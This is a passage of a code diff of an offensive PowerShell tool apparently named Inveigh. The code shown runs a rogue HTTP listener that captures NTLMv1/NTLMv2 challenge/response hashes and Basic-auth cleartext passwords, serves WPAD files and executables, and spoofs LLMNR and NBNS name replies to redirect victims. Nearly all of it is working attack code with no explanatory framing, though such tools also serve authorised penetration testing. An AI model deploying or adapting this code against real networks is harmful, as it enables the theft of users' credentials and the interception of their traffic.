$NTLM_challenge + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP ($HTTP_NTLM_host_string)")]) + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains ("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n" + $inveigh.HTTP_NTLM_hash) + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n" + $HTTP_NTLM_hash) + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string) for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + } - else + + } + else # NTLMv2 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string) for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP ($HTTP_NTLM_host_string)")]) + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains ("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) - { - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n" + $HTTP_NTLM_hash) + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string) for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } - if($inveigh.NTLMv2_username_list -notcontains ("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + } - } + } - } + if ($inveigh.IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $HTTP_source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($HTTP_source_IP) + } + + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $NTLM_auth = $true + $HTTP_client_close = $true + $NTLM_challenge = "" - if($inveigh.IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) + if($proxy_listener) + { + $HTTP_client.Client.Close() + } + + } + else { - $inveigh.IP_capture_list.Add($HTTP_source_IP) + $NTLM = "NTLM" + $HTTP_client_close = $false } - - $inveigh.response.StatusCode = 200 - $NTLM_auth = $true - $NTLM_challenge = "" - $HTTP_raw_url_output = $true } - else + elseif($authentication_header.startswith('Basic ')) { - $NTLM = 'NTLM' + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $authentication_header = $authentication_header -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) + $HTTP_client_close = $true + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP")]) + $inveigh.cleartext_file_queue.Add($cleartext_credentials) + $inveigh.cleartext_list.Add($cleartext_credentials) + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") + + if($inveigh.file_output) + { + $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + } + } - - } - elseif($authentication_header.StartsWith('Basic ')) # Thanks to @xorrior for the initial basic auth code - { - $inveigh.response.StatusCode = 200 - $basic_auth = $true - $authentication_header = $authentication_header -replace 'Basic ','' - $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP")]) - $inveigh.cleartext_file_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + ",$HTTP_type,$cleartext_credentials") - $inveigh.cleartext_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + ",$HTTP_type,$cleartext_credentials") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") - - if($inveigh.file_output) + else { - $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - } - - } - - if(($HTTPAuth -eq 'Anonymous' -and $HTTP_request_raw_url -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Anonymous' -and $HTTP_request_raw_url -match '/wpad.dat') -or $NTLM_Auth -or $basic_auth) - { + if($HTTPAuth -ne 'Anonymous' -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -ne 'Anonymous')) + { + $HTTP_client_close = $false + } + else + { + $HTTP_client_close = $true + } - if($HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url))) - { - [Byte[]]$HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE)) } - elseif($HTTPDir) + + if(($HTTPAuth -eq 'Anonymous' -and $HTTP_request_raw_url -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Anonymous' -and $HTTP_request_raw_url -match '/wpad.dat') -or $NTLM_Auth -or $basic_auth -and !$proxy_listener) { - if($HTTPDefaultFile -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile)) -and $HTTP_request_raw_url -notmatch '/wpad.dat') - { - [Byte[]]$HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) - } - elseif($HTTPDefaultFile -and $HTTP_request_raw_url -eq '/' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile))) + if($HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url))) { - [Byte[]]$HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE)) + $HTTP_content_type_header = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/exe") + 0x0d,0x0a } - elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat') + elseif($HTTPDir) { - [Byte[]]$HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse) + + if($HTTPDefaultFile -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile)) -and $HTTP_request_raw_url -notmatch '/wpad.dat') + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) + } + elseif($HTTPDefaultFile -and $HTTP_request_raw_url -eq '/' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile))) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) + } + elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat') + { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse) + $HTTP_content_type_header = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + 0x0d,0x0a + } + else + { + + if(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTP_request_raw_url)) + } + else + { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTPResponse) + } + + } + } else { - - if(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) + + if($HTTP_request_raw_url -match '/wpad.dat') { - [Byte[]]$HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTP_request_raw_url)) + $HTTP_message = $WPADResponse + $HTTP_content_type_header = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + 0x0d,0x0a + } + elseif($HTTPResponse) + { + $HTTP_message = $HTTPResponse + + if($HTTPContentType) + { + $HTTP_content_type_header = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTPContentType) + 0x0d,0x0a + } + } else { - [Byte[]]$HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($HTTPResponse) + $HTTP_message = "" + $HTTP_content_type_header = $null } - + + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) } } else { + $HTTP_message = "" + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + $HTTP_content_type_header = $null + } - if($HTTP_request_raw_url -match '/wpad.dat') - { - $inveigh.message = $WPADResponse - } - elseif($HTTPResponse) - { - $inveigh.message = $HTTPResponse - } - else - { - $inveigh.message = $null - } + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + $HTTP_content_length_header = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message_bytes.Length) + $HTTP_content_headers = $HTTP_content_type_header + $HTTP_content_length_header + + if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) + { + $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + + $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + + $HTTP_response_status_code + + 0x20 + + $HTTP_response_phrase + + 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, + 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, + 0x0a,0x44,0x61,0x74,0x65,0x3a + + $HTTP_timestamp + + 0x0d,0x0a + + $HTTP_WWW_authenticate_header + + $NTLM + + 0x0d,0x0a + + $HTTP_content_headers + + 0x0d,0x0a + + 0x0d,0x0a + + $HTTP_message_bytes - [Byte[]]$HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) } - } - else - { - [Byte[]]$HTTP_buffer = $null - } + elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) + { + $Basic = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") + $HTTP_content_headers = $HTTP_content_type_header + $HTTP_content_length_header + + $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + + $HTTP_response_status_code + + 0x20 + + $HTTP_response_phrase + + 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, + 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, + 0x0a,0x44,0x61,0x74,0x65,0x3a + + $HTTP_timestamp + + 0x0d,0x0a + + $HTTP_WWW_authenticate_header + + $Basic + + 0x0d,0x0a + + $HTTP_content_headers + + 0x0d,0x0a + + 0x0d,0x0a + + $HTTP_message_bytes + + } + else + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + + $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + + $HTTP_response_status_code + + 0x20 + + $HTTP_response_phrase + + 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, + 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, + 0x0a,0x44,0x61,0x74,0x65,0x3a + + $HTTP_timestamp + + 0x0d,0x0a + + $HTTP_content_headers + + 0x0d,0x0a + + 0x0d,0x0a + + $HTTP_message_bytes + } + + $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) + $HTTP_stream.Flush() + Start-Sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old = $HTTP_client.Client.Handle + + if($HTTP_client_close) + { + $HTTP_client.Close() + } - if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_url -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_url -match '/wpad.dat') -and !$NTLM_auth) - { - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) - } - elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_url -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_url -match '/wpad.dat')) - { - $inveigh.response.AddHeader("WWW-Authenticate","Basic realm=$HTTPBasicRealm") } else { - $inveigh.response.StatusCode = 200 + $HTTP_client.Close() + $HTTP_client_close = $true } - - $inveigh.response.ContentLength64 = $HTTP_buffer.Length - $HTTP_stream = $inveigh.response.OutputStream - $HTTP_stream.Write($HTTP_buffer,0,$HTTP_buffer.Length) - $HTTP_stream.Close() + } - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + $HTTP_client.Close() + start-sleep -s 1 + $HTTP_listener.Server.blocking = $false + Start-Sleep -s 1 + $HTTP_listener.Server.Close() + Start-Sleep -s 1 + $HTTP_listener.Stop() } # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer @@ -1478,6 +1852,7 @@ $sniffer_scriptblock = { param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval,$RunTime,$LLMNRTTL,$NBNSTTL) + $sniffer_running = $true $byte_in = New-Object System.Byte[] 4 $byte_out = New-Object System.Byte[] 4 $byte_data = New-Object System.Byte[] 4096 @@ -1487,8 +1862,20 @@ $sniffer_scriptblock = $byte_out[1-3] = 0 $inveigh.sniffer_socket = New-Object System.Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) $inveigh.sniffer_socket.SetSocketOption("IP","HeaderIncluded",$true) - $inveigh.sniffer_socket.ReceiveBufferSize = 1024 + $inveigh.sniffer_socket.ReceiveBufferSize = 4096 $end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]"$IP",0) + + try + { + $end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]"$IP",0) + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer")]) + $sniffer_running = $false + } + $inveigh.sniffer_socket.Bind($end_point) $inveigh.sniffer_socket.IOControl([System.Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) @@ -1504,13 +1891,7 @@ $sniffer_scriptblock = $spoofer_learning_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() } - if($RunTime) - { - $sniffer_timeout = New-TimeSpan -Minutes $RunTime - $sniffer_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - while($inveigh.running) + while($inveigh.running -and $sniffer_running) { $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None) $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data) @@ -1952,7 +2333,6 @@ $sniffer_scriptblock = $LLMNR_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.252",5355) $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint) $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length) - #$LLMNR_UDP_client_port = ($LLMNR_UDP_client.Client.LocalEndPoint).Port $LLMNR_UDP_client.Close() $LLMNR_learning_log.Add("$(Get-Date -format 's') $LLMNR_transaction_ID $LLMNR_query_string") $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") @@ -2075,73 +2455,498 @@ $sniffer_scriptblock = } - if($RunTime) + } + + $binary_reader.Close() + $memory_stream.Dispose() + $memory_stream.Close() +} + +$LLMNR_spoofer_scriptblock = +{ + param ($LLMNR_response_message,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$LLMNRTTL) + + $LLMNR_running = $true + $LLMNR_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5355) + + try + { + $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer")]) + $LLMNR_running = $false + } + + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + + while($inveigh.running -and $LLMNR_running) + { + + $LLMNR_request_data = $LLMNR_UDP_client.Receive([Ref]$LLMNR_listener_endpoint) # need to switch to async + + if([System.BitConverter]::ToString($LLMNR_request_data[($LLMNR_request_data.Length - 4)..($LLMNR_request_data.Length - 3)]) -ne '00-1c') # ignore AAAA for now { - - if($sniffer_stopwatch.Elapsed -ge $sniffer_timeout) + $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) + [Array]::Reverse($LLMNR_TTL_bytes) + + $LLMNR_response_packet = $LLMNR_request_data[0,1] + + 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + + $LLMNR_request_data[12..$LLMNR_request_data.Length] + + $LLMNR_request_data[12..$LLMNR_request_data.Length] + + $LLMNR_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)]) + $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString + + if(($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + { + $LLMNR_destination_endpoint = New-Object Net.IPEndpoint($LLMNR_listener_endpoint.Address,$LLMNR_listener_endpoint.Port) + $LLMNR_UDP_client.Connect($LLMNR_destination_endpoint) + $LLMNR_UDP_client.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) + $LLMNR_UDP_client.Close() + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + $LLMNR_response_message = "- response sent" + } + else + { + + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $LLMNR_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $LLMNR_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $LLMNR_response_message = "- previous capture from $source_IP" + } + else + { + $LLMNR_response_message = "- something went wrong" + } + + } + + if($LLMNR_request_data) { + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")]) + } + + $LLMNR_request_data = "" + } + + } + + $LLMNR_UDP_client.Close() + } - if($inveigh.HTTP_listener.IsListening) +$NBNS_spoofer_scriptblock = +{ + param ($NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL) + + $NBNS_running = $true + $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) + + try + { + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer")]) + $NBNS_running = $false + } + + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + + while($inveigh.running -and $NBNS_running) + { + + $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) # need to switch to async + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + + if([System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01') + { + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + $NBNS_response_packet = $NBNS_request_data[0,1] + + 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $NBNS_request_data[13..$NBNS_request_data.Length] + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + + $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString + $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) + + switch ($NBNS_query_type) + { + + '41-41' { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + $NBNS_query_type = "00" } - $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")]) - Start-Sleep -m 5 - $inveigh.running = $false + '41-44' + { + $NBNS_query_type = "03" + } + + '43-41' + { + $NBNS_query_type = "20" + } + + '42-4C' + { + $NBNS_query_type = "1B" + } + + '42-4D' + { + $NBNS_query_type = "1C" + } + + '42-4E' + { + $NBNS_query_type = "1D" + } + + '42-4F' + { + $NBNS_query_type = "1E" + } + + } + + $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) + $NBNS_query = $NBNS_query -replace "-00","" + $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) + $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) + $NBNS_query_string_subtracted = "" + $NBNS_query_string = "" + $n = 0 + + do + { + $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) + $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) + $n += 1 + } + until($n -gt ($NBNS_query_string_encoded.Length - 1)) + + $n = 0 + + do + { + $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) + $n += 2 + } + until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + + if (($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains 